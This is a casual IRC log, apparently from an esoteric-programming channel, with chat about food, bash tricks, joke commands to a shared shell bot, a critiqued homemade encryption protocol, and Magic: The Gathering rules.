-!- jaboja has joined. 21:35:30 -!- AnotherTest has joined. 21:36:07 -!- augur has joined. 21:38:22 -!- augur has quit (Read error: Connection reset by peer). 21:40:29 -!- augur has joined. 21:45:34 pictures are pretty dull though, this is my /bin/bash http://i.imgur.com/mJxsB7J.png 21:52:47 sorta like paplay --raw /bin/bash i guess 22:04:22 -!- augur has quit (Read error: Connection reset by peer). 22:04:31 -!- augur has joined. 22:07:00 -!- hppavilion[1] has joined. 22:10:31 -!- AnotherTest has quit (Ping timeout: 252 seconds). 22:16:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 22:21:15 -!- moon_ has joined. 22:24:59 I think I'll have to invest a point to modern times history. I'm sometimes getting fed up with the lots of stupid people here in the town, especially about how they keep blocking your way in mass transport vehicle doors (they want to get on FIRST, before other people, they don't care if people can't get off) or underpass corridors. 22:26:01 Just program everyone tp want to get in first. Boom. Worldwide traffic jam 22:26:18 I should relieve some stress by hurling choice insults on them, but I want to make the insults politically correct, in the sense that it shouldn't accidentally seem like I'm insulting their appearance or origins. Sadly that can gets a bit tricky when it comes to public transport, which is why I'll need to learn some history. 22:30:06 -!- `^_^v has quit (Quit: This computer has gone to sleep). 22:30:38 I wonder if there's a specific good guidebook for this. 22:30:57 -!- `^_^v has joined. 22:31:00 I know very little about history, I don't even know what books are worth to look at. 22:47:56 woe be jonas 22:54:01 ah I see! they use row vectors 22:56:50 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 23:05:13 -!- Sgeo_ has joined. 23:16:11 -!- boily has joined. 23:16:56 @massages-loud 23:16:56 shachaf said 3h 21m 46s ago: I ate poutine yesterday. 23:17:05 hellochaf! how was it? 23:17:13 not very good hth 23:17:32 smoke's poutinerie, more like scow's poutinerie 23:21:12 you should try poutine with duck meat and green peas hth 23:24:43 -!- augur has quit (Read error: Connection reset by peer). 23:26:32 -!- oerjan has joined. 23:27:50 boily: Duck meats, green peas and boiled fleas. 23:33:00 I don't think that boiled fleas are edible hth 23:33:09 hellørjan. do you eat boiled fleas? 23:35:47 moily. only crushed and hidden in flour hth 23:36:24 boily: i don't eat ducks 23:36:26 or meat 23:36:57 fortunately green peas alone are a good protein source. i think. 23:36:58 -!- augur has joined. 23:37:14 i wanna show you something 23:37:20 can you guess what this is? ls *mp3 | grep -v -- -rihanna | cut -d- 3-5 > out 23:38:13 oerjan: moily? 23:38:22 it's a bash command that's also valid in (( )) 23:38:29 be amazed 23:38:52 boily: i was surprised too. 23:39:10 shachaf: you should then try egg curry poutine. 23:39:17 boily: how do you like smoke's poutinerie? 23:39:23 rainbows are tg 23:40:04 not tried yet. when I'll West Coast I'll smoke's. 23:40:18 `? tg 23:40:28 TG is short for Turing-Gödel, the highest possible level of difficulty for a multiplayer game. At this level, it's undecidable whether you can manage to halt before losing or not. 23:40:55 But they have east coast locations. 23:41:10 In fact the majority of them are. 23:42:20 `? poutine 23:42:24 Poutine was Pouti and boily's sister until the tragic cheese accident. 23:42:34 * boily google the smoke 23:42:37 i'd forgotten that one 23:43:21 i think that's one of my better ones. 23:44:32 the nearest and reachablest smoke's are in Ottawa. 23:48:31 -!- augur has quit (Read error: Connection reset by peer). 23:49:11 -!- augur has joined. 23:50:14 -!- augur has quit (Read error: Connection reset by peer). 23:50:15 `` v=5; while (( ls *mp3 | grep -v -- -rihanna | cut -d- 3-5 > out )); do echo -n "$v "; done 23:50:18 4 3 2 1 0 23:50:40 -!- augur has joined. 23:50:41 how cool is this?! 23:51:11 it's my obfuscation technique 23:51:11 -!- augur has quit (Read error: Connection reset by peer). 23:51:51 -!- augur has joined. 23:55:00 -!- augur has quit (Read error: Connection reset by peer). 23:55:14 -!- augur has joined. 23:56:51 izabellora. there's a negative rihanna in there. it's conspicuously egregiously salient hth. 23:57:20 -!- `^_^v has quit (Quit: This computer has gone to sleep). 23:58:46 -!- augur has quit (Read error: Connection reset by peer). 2016-06-30: 00:00:12 could also add stuff like sed /x/d 00:00:24 -!- augur has joined. 00:00:49 but then x and d can't be 0 00:02:05 `` ls *mp3 00:02:08 ls: cannot access *mp3: No such file or directory 00:07:54 -!- jaboja has quit (Remote host closed the connection). 00:13:59 -!- spiette has quit (Ping timeout: 260 seconds). 00:21:56 -!- MoALTz has quit (Ping timeout: 272 seconds). 00:24:12 -!- FreeFull has quit (Ping timeout: 276 seconds). 00:35:02 `` find -iname '*.mp3' -type f 00:35:22 ​./share/Complaints.mp3 00:35:39 `` file -krs share/Complaints.mp3 00:35:43 share/Complaints.mp3: ASCII text 00:36:36 `` ls bin/*comp* 00:36:38 bin/complain \ bin/complaints 00:36:42 Yesterday upon the stair, I heard an MP3 that wasn't there. 00:37:33 a, ic 00:39:59 an MP3 is not meant to be seen, only heard. 00:40:21 (unless you're Aphex Twin and your face is in there.) 00:40:22 `quote obscure 00:40:24 789) the scene: it is a warm summer's day in scotland, although one obscured by cloud and the fact that it is september \ 1243) (on another note, I love the way that the standard way to indicate that you get a reference is to make a different obscure reference to the same thing) 00:42:26 my references aren't *that* obscure... 00:42:37 most of the time, at least. or approximatively so. 00:42:59 OKAY 00:43:04 `complaints 00:43:06 16 share/Complaints.mp3 00:43:20 `camera obscure 00:43:21 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: camera: not found 00:43:42 `url share/Complaints.mp3 00:44:00 `help 00:44:02 Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 00:44:04 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/share/Complaints.mp3 00:45:15 `complain I haven't been around kittens for a long time. 00:45:20 Complaint filed. Thank you. 00:45:59 `complain The complaints file is too long to view in-channel. 00:46:02 Complaint filed. Thank you. 00:46:19 `shuf share/Complaints.mp3 00:46:20 `complain Complaints don't get removed after they're addressed. 00:46:20 now the former complaints make no sense because the complaints file was moved \ The complaints above are not using periods properly. \ Also, Gregor is never here to fix his bots. \ The floors are cold. \ I haven't been around kittens for a long time. \ Newbies get confused by everything HackEgo. \ Some people don't use the right command for filing 00:46:23 Complaint filed. Thank you. 00:46:36 HireFly 00:46:57 shalomchaf 00:46:59 what are you hired for 00:50:11 `complain I'd like to make the complaints file longer, but I can't think of any good complaints. 00:50:15 Complaint filed. Thank you. 00:50:45 `complain I often have trouble getting to sleep. 00:50:48 Complaint filed. Thank you. 00:55:20 `` complain "$(( tr -dc a-z < /dev/urandom | head -c 10000 ))" 00:55:22 ​/hackenv/bin/`: line 4: tr -dc a-z < /dev/urandom | head -c 10000 : syntax error in expression (error token is "a-z < /dev/urandom | head -c 10000 ") 00:55:29 ooops 00:55:32 `` complain "$( tr -dc a-z < /dev/urandom | head -c 10000 )" 00:55:36 Complaint filed. Thank you. 00:56:47 `revert 00:56:50 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 00:57:08 You're being a bit of a jerk there. 00:57:14 I've half a mind to complain about it. 00:59:04 it's just the annoyingness singularity. 00:59:35 the annoyingness of the world is growing superexponentially. 00:59:43 `? superexponential growth 00:59:55 Superexponential growth? SUPEREXPONENTIAL GROWTH?! HOLY CRAP!!! 01:01:46 `culprits wisdom/superexponential growth 01:01:57 tswett 01:23:14 -!- Etaoin has joined. 01:23:17 it is me 01:24:00 mario 01:25:31 :D 01:35:17 Hellaoin! 01:35:31 helloily! 01:36:27 `` complain My lungs aren't as efficient as they should be. 01:36:29 ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file 01:36:40 * boily mapoles the apostrophe out of HackEgo 01:36:48 `` complain My lungs aren’t as efficient as they should be. 01:36:52 Complaint filed. Thank you. 01:36:59 just use ` instead of `` 01:39:10 muscle memory. 01:39:16 `` tail -n1 share/Complaints.mp3 01:39:18 My lungs aren’t as efficient as they should be. 01:39:29 just get better muscles 01:39:30 `` tac share/Complaints.mp3 01:39:31 My lungs aren’t as efficient as they should be. \ I often have trouble getting to sleep. \ I'd like to make the complaints file longer, but I can't think of any good complaints. \ Complaints don't get removed after they're addressed. \ The complaints file is too long to view in-channel. \ I haven't been around kittens for a long time. \ The "comp 01:40:15 right thumb right annular left thumb right thumb right annular left thumb left thumb 01:42:17 izabera: I like my nimble and dexterous fingers the way they are. 01:50:48 I thought to invent "one time pad protocol". The server sends a four-byte initialization vector to the client, the client combines the key, initialization vector, and timestamp, and ARCFOUR encodes a service ID, input pad offset, output pad offset, and service parameter, and send that to server. 01:51:47 The server now verifies that it is OK; if so, it begins one-time-pad encoding and sends to the client the service ID and timestamp (one-time-pad encrypted), and accepts data from client. If incorrect, the server sends random data to the client and ignores data it receives. 01:53:10 why send random data? 01:54:01 The verification will fail if it is not a supported service ID, if the offsets have expired, or if the offsets specified discard too much of the pad. Also there is a secret synchronization size; after that many bytes are send by either side, the next byte is a synchronization byte which is the one-time-pad encrypted counter that goes from 0 to 255 and wraps around. 01:54:24 -!- Etaoin has quit (Quit: Page closed). 01:54:47 So it's impossible to distinguish a correct request from an incorrect one, presumably. 01:56:02 but it is possible, e.g. if you're expecting to receive a certain reply when you send something and don't receive you know it failed 01:57:56 Yeah. I might be missing something, but I *think* zzo38's proposal has some serious faults. 01:58:06 For instance, is the data from the client plaintext? 01:58:10 If it is wrong then please tell me I can fix it 01:58:28 pikhq: No, it is encrypted with the one time pad (a separate pad is used for each direction). 01:58:45 *Oh*. That changes things somewhat. 01:58:58 I would not use ARCFOUR for it. 02:00:51 That is only for the initialization anyways, and is not used for application data. The ARCFOUR key is independent of any of the other parameters and the pad data. 02:01:02 I suspect there might be some other faults (courtesy of having not thought about it *that* much), but the use of ARCFOUR instead of a secure stream cipher is a big one. 02:01:38 Yes, but ARCFOUR is a completely insecure cipher at present, and shouldn't be used for any purpose. 02:02:02 The amount of initialization data is small so it probably does not matter, but a better one could be used as long as it is not too complicated, which would improve it. 02:02:50 (The size of the initialization data is fixed, so if it is replaced with a different cipher, it need not necessarily be a stream cipher; a block cipher could work too.) 02:02:58 -!- lambda-11235 has joined. 02:03:22 Chacha20 is not very complicated, and seems to be secure. 02:03:51 Should I prefer it to Salsa20? 02:03:52 (the latter is the current opinion of cryptographers, the former is my opinion, having implemented it before) 02:04:39 I *think* it's preferable due to getting better diffusion per round, but I don't really know for sure. 02:05:28 The main thing that Chacha20 has going for it that Salsa20 doesn't is that Chacha20 is seeing much more use. 02:09:43 OK then ChaCha20 could be used. 02:10:12 Presumably users of this wouldn't allow pad reuse? 02:10:21 Because... pad reuse breaks security. 02:10:59 Yes, as I said the verification fails if the pad is reused. 02:14:57 pikhq: not to mention hygiene 02:18:50 * boily mapoles shachaf. 0.3 shachafs. 02:19:21 0.3? 02:20:58 0.3. and that's only because I grant. 02:21:07 (what's the past tense of “to grunt”?) 02:21:39 grunted 02:21:49 Apparently they do make reusable pads, though. 02:22:07 I'm not sure that there's any application in cryptography. 02:22:48 I think those are called stream ciphers in cryptography. 02:23:21 I hope you don't reuse your keystream. 02:23:32 I need a tshirt that says 02:23:39 there are 1 types of people 02:23:41 i,i don't cross the keystreams 02:24:10 What else I did not mention is that the clock skew and clock granularity parameters are also secret parameters. (Also, the size of the initialization vector may be altered.) 02:25:33 -!- boily_ has joined. 02:26:12 * boily_ *mumble* *grumble* fungotting router *grml* 02:26:13 boily_: mr president, i abstained from the vote on friday. even before the summer holidays, and due to a lack of clarity in terms of citizens by guaranteeing that: ' in view of all the parties involved, including david trimble, and not the reverse. 02:26:29 -!- boily has quit (Ping timeout: 244 seconds). 02:26:33 -!- boily_ has changed nick to boily. 02:33:41 -!- Cale has quit (Ping timeout: 250 seconds). 02:39:34 -!- boily has quit (Quit: LUBRICANT CHICKEN). 02:46:37 -!- Cale has joined. 03:03:55 Is there any software for a mobile device to display a barcode given typed in input, that can then be scanned with another scanner? 03:04:32 -!- clog has quit (Ping timeout: 260 seconds). 03:19:44 yes i think so 03:20:01 maybe not barcode, but probably QR code 03:21:54 -!- augur has quit (Remote host closed the connection). 03:34:31 I would want for all types of barcodes though 03:35:10 zzo38: No, you only care about QR codes. 03:36:10 -!- clog has joined. 03:37:11 No, I would need for all types, mainly for those that are not QR codes, such as UPC and so on 04:20:52 -!- augur has joined. 04:57:27 -!- hppavilion[1] has joined. 05:02:31 -!- Kaynato has quit (Ping timeout: 240 seconds). 05:12:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 05:15:27 what's a fast way to write a large array with a value that takes 3 bytes? 05:15:47 i mean my value is 'a' 'b' 'c' and i want my array to look like abcabcabcabcabc... 05:22:20 -!- adu has joined. 05:39:15 izabera: have unrolled copies of abcabc..., bcabca..., cabcab... and mass-copy them in the order 06:17:37 It has been said that "having a 'canary' you remove or choose not to update would likely have the same legal consequences as simply posting something that explicitly says you've received something." Can it be designed so that it is updatable and that you cannot update it if the government tries to get the data? There are a few other ideas too, including a way of encrypting the data such that you do not know the keys, etc 06:21:51 Or somehow use a forwarding service or video camera or something to enforce that letters they receive are known to public 06:37:35 -!- hppavilion[1] has joined. 06:38:26 -!- adu has quit (Quit: adu). 06:59:46 -!- asie has left ("WeeChat 1.5"). 07:29:38 -!- PinealGlandOptic has joined. 07:32:46 -!- lambda-11235 has quit (Quit: Bye). 07:53:33 A chuck norris fact is that he can solve a rubik's cube with no hands 07:53:41 Lame, IMHO; many people can do that 08:19:49 -!- bb010g has quit (Quit: Connection closed for inactivity). 08:25:45 I think I've listened to صليل الصوارم too many times 08:25:55 Now I'm going to start humming it in inappropriate circumstances 08:27:23 "Anatomically modern human remains of uncertain date, 90-190,000 years old." 08:33:22 -!- oerjan has quit (Quit: Nite). 08:35:43 Why is it tyrants always have the best anthems? 09:00:04 `? hypergeom 09:00:18 `? hypergeometric 09:00:58 hypergeometric? ¯\(°​_o)/¯ 09:00:58 hypergeom? ¯\(°​_o)/¯ 09:08:40 OK, https://www.youtube.com/watch?v=9RbLLYCiyGE is impressive 09:11:32 -!- augur has quit (Remote host closed the connection). 09:45:49 Apparently, O'Reilly has "Mastering CAT" 09:52:04 i wrote a thingy that generates these https://i.imgur.com/uLdaHaF.png 09:52:32 izabera, pretty! 09:59:37 -!- devhydraz has joined. 09:59:38 -!- devhydraz has quit (Changing host). 09:59:38 -!- devhydraz has joined. 10:03:59 -!- ybden- has joined. 10:06:09 -!- quintopi1 has joined. 10:06:20 -!- paul2520_ has joined. 10:07:10 -!- jix_ has joined. 10:08:16 -!- ybden has quit (*.net *.split). 10:08:16 -!- quintopia has quit (*.net *.split). 10:08:16 -!- jix has quit (*.net *.split). 10:08:16 -!- paul2520 has quit (*.net *.split). 10:08:16 -!- hydraz has quit (*.net *.split). 11:12:40 -!- augur has joined. 11:16:34 -!- MoALTz has joined. 11:17:27 -!- augur has quit (Ping timeout: 260 seconds). 11:29:05 -!- iaglium has joined. 11:33:46 -!- boily has joined. 11:42:10 @massages-loud 11:42:10 You don't have any messages 11:44:01 -!- cnr has quit (Ping timeout: 250 seconds). 11:48:01 -!- cnr has joined. 11:48:01 -!- cnr has quit (Changing host). 11:48:01 -!- cnr has joined. 12:14:00 -!- FreeFull has joined. 12:20:12 -!- boily has quit (Quit: PERSONAL CHICKEN). 12:32:38 Apparently, at 25,000 signatures on a petition the White House has to release an official response 12:32:50 How can we abuse this knowledge? 13:04:06 -!- Elronnd has quit (Quit: Let's jump!). 13:04:18 -!- Elronnd has joined. 13:11:49 Wikileaks: The truth is over there 13:12:20 -!- devhydraz has changed nick to hydraz. 13:13:45 -!- augur has joined. 13:18:03 -!- augur has quit (Ping timeout: 240 seconds). 13:46:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 14:04:03 -!- Sgeo_ has quit (Ping timeout: 240 seconds). 14:13:57 -!- ^v has quit (Ping timeout: 250 seconds). 14:15:47 -!- ^v has joined. 14:20:01 -!- spiette has joined. 14:38:15 -!- Kaynato has joined. 14:48:39 -!- `^_^v has joined. 14:58:42 -!- ybden- has changed nick to ybden. 15:05:07 -!- adu has joined. 15:14:43 -!- augur has joined. 15:16:35 -!- Human_61 has joined. 15:19:01 -!- augur has quit (Ping timeout: 252 seconds). 15:23:16 -!- Human_61 has quit (Ping timeout: 250 seconds). 15:33:18 -!- adu has quit (Quit: adu). 15:36:53 -!- Human_61 has joined. 15:41:54 -!- Human_61 has quit (Ping timeout: 250 seconds). 15:50:19 izabera: ooh 16:22:03 -!- bender has joined. 16:25:24 -!- bender has quit (Client Quit). 16:30:29 -!- bauen1 has quit (Ping timeout: 260 seconds). 16:31:37 -!- bauen1 has joined. 16:31:58 -!- bauen1 has quit (Client Quit). 16:50:15 -!- ybden has changed nick to YBDEN. 16:50:53 -!- hydraz has changed nick to HYDRAZ. 16:51:23 -!- moon_ has quit (Ping timeout: 244 seconds). 16:55:19 -!- HYDRAZ has changed nick to hydraz. 17:06:48 -!- YBDEN has changed nick to ybden. 17:15:15 -!- augur has joined. 17:19:50 -!- augur has quit (Ping timeout: 250 seconds). 17:46:47 openvpn lets you run it twice with the same config 17:46:56 same gateway same destination same everything 17:47:02 it creates two tap interfaces 17:47:12 and sometimes one works and sometimes the other one works 17:47:19 why does it even let me do this? 17:47:35 why is this useful 17:47:51 it should just error out 18:04:15 -!- ais523 has joined. 18:09:45 ais523: hi 18:13:04 ais523: have you seen the preview of Eldritch Moon (M:tG)? 18:13:28 it contains something I didn't think was possible 18:14:08 meld? 18:14:25 ais523: yes 18:14:31 SNOT basically 18:14:39 the rules aren't known yet because there's no set FAQ 18:14:50 but it seems to me like it will cause lots of rules trouble 18:16:17 the easiest broken situation is a melded creature with Gift of Immortality attached and the Gift activating 18:16:23 triggering 18:16:40 but there might be cases worse than that 18:20:15 -!- spiette has quit (Ping timeout: 246 seconds). 18:22:50 -!- `^_^v has quit (Quit: This computer has gone to sleep). 18:41:55 So what does Meld do? 18:42:34 FireFly: basically it takes two cards from exile and places them both on the battlefield transformed as one large card 18:42:56 Yeah, that sounds fun rules-wise 18:43:11 -!- `^_^v has joined. 18:43:30 (the existing meld cards are templated as "exile ~ and a creature named Y, then meld them") 18:44:14 -!- `^_^v has quit (Client Quit). 18:44:27 Ah, so for now it's pretty restrictive 18:44:45 As in, only applicable to specific pairs of creatures 18:45:20 FireFly: they each have half a creature printed on the back 18:45:27 FireFly: yes, specific cards that are printed one-and-half-of-a-double-side-faced (as opposed to transforming cards which are printed double-faced) 18:45:39 right, they basically invented 1½-faced cards 18:51:24 ais523: yeah. and if a third un-set is ever made, they'll probably have to make fold-out three-faced cards which can be played face down with morph, then unmorph, then your choice of flip or transform (to one of the inner sides) or meld (to the other inner side) to top it 18:51:43 no, clearly it needs to transform into a flip card 18:51:59 or maybe have a flip card that transforms into another flip card 18:51:59 that could work too 18:52:05 with different flip conditions pre- and post-transform 18:52:16 (ofc, you could actually do that in black border, but I somehow doubt it'd ever be printed) 18:53:04 or the transformed side could be flip, and the flipped transformed side would have the meld ability, and the melded creature could level up of course 18:53:29 um 18:53:32 the melded permanent 18:53:39 probably not all of those would be creatures 18:54:13 is it possible to have a creature that levels up into a nonland creature? 18:54:29 err, a noncreature land 18:54:42 ais523: two flip cards on two sides would be funny, because with the current rules, if you transform the permanent, it would keep the flipped status 18:54:49 I guess you'd need a characteristic-setting ability as you don't have anywhere to put the new type line 18:54:51 b_jonas: yes, that was intentional 18:55:15 ais523: yes, maybe a characteristic-setting ability 18:55:41 I wonder if split cards could be in this somehow, but that's hard to imagine, split doesn't combine with anything but manifest 18:55:48 split only goes on instants and sorceries 18:57:02 oh! but Primal Clay would combine with any of level up, morph, transform, flip, meld 18:57:53 -!- `^_^v has joined. 19:00:35 the primal clay ability takes only two lines of text in a normal-sized text box, and has very confusing rules implications, especially on things like morph/manifested cards that etb without the ability 19:00:40 and with copy involved 19:01:32 hmm, actually meld would let you print a double-sized flip card with large text box, so it'd be sort of a good combination 19:01:40 also large image 19:02:22 obviously that part should be a permanent you want to tap often, to make physical handling of the two cards plus counters difficult 19:03:00 -!- bauen1 has joined. 19:08:22 -!- augur has joined. 19:18:31 -!- spiette has joined. 19:37:57 -!- spiette has quit (Ping timeout: 276 seconds). 19:44:06 -!- spiette has joined. 19:44:08 Can anyone recommend some CS or maths podcasts I can listen to during a two day journey 19:44:29 -!- spiette_ has joined. 19:46:17 -!- spiette_ has quit (Client Quit). 20:01:27 start match 20:06:25 Portugal - Poland 0-1 so far 20:07:16 or is it Poland - Portugal 1-0 instead? 20:22:40 -!- Reece` has joined. 20:44:31 -!- spockers has quit (Ping timeout: 240 seconds). 21:15:24 -!- heroux has quit (Ping timeout: 244 seconds). 21:20:01 1-1 by the way 21:20:05 so far 21:27:54 -!- heroux has joined. 21:29:51 -!- spiette has quit (Quit: :qa!). 21:30:37 -!- jaboja has joined. 21:44:46 -!- AnotherTest has joined. 21:46:47 -!- spockers has joined. 21:48:32 -!- spockers_ has joined. 21:52:03 -!- spockers has quit (Ping timeout: 264 seconds). 21:55:47 hmm 21:55:59 i got renicked 21:56:09 -!- quintopi1 has changed nick to quintopia. 21:56:19 -!- quintopia has quit (Changing host). 21:56:19 -!- quintopia has joined. 22:02:53 -!- moon_ has joined. 22:03:08 -!- `^_^v has quit (Quit: This computer has gone to sleep). 22:04:20 -!- `^_^v has joined. 22:04:48 -!- spockers_ has changed nick to spockers. 22:12:08 -!- spockers has quit (Excess Flood). 22:12:48 -!- spockers has joined. 22:21:45 -!- Reece` has quit (Read error: Connection reset by peer). 22:30:55 -!- `^_^v has quit (Quit: This computer has gone to sleep). 22:34:34 -!- Deewiant_ has joined. 22:34:49 -!- Deewiant has quit (Ping timeout: 244 seconds). 22:36:42 -!- AnotherTest has quit (Ping timeout: 276 seconds). 22:40:27 -!- Warrigal has joined. 22:45:37 -!- jix_ has quit (*.net *.split). 22:45:37 -!- tswett has quit (*.net *.split). 22:45:37 -!- atehwa has quit (*.net *.split). 22:45:37 -!- Alcest has quit (*.net *.split). 22:45:37 -!- ineiros has quit (*.net *.split). 22:53:18 -!- augur has quit (Remote host closed the connection). 23:34:19 -!- PinealGlandOptic has quit (Quit: leaving). 23:37:37 -!- oerjan has joined. 23:46:00 -!- Sgeo_ has joined.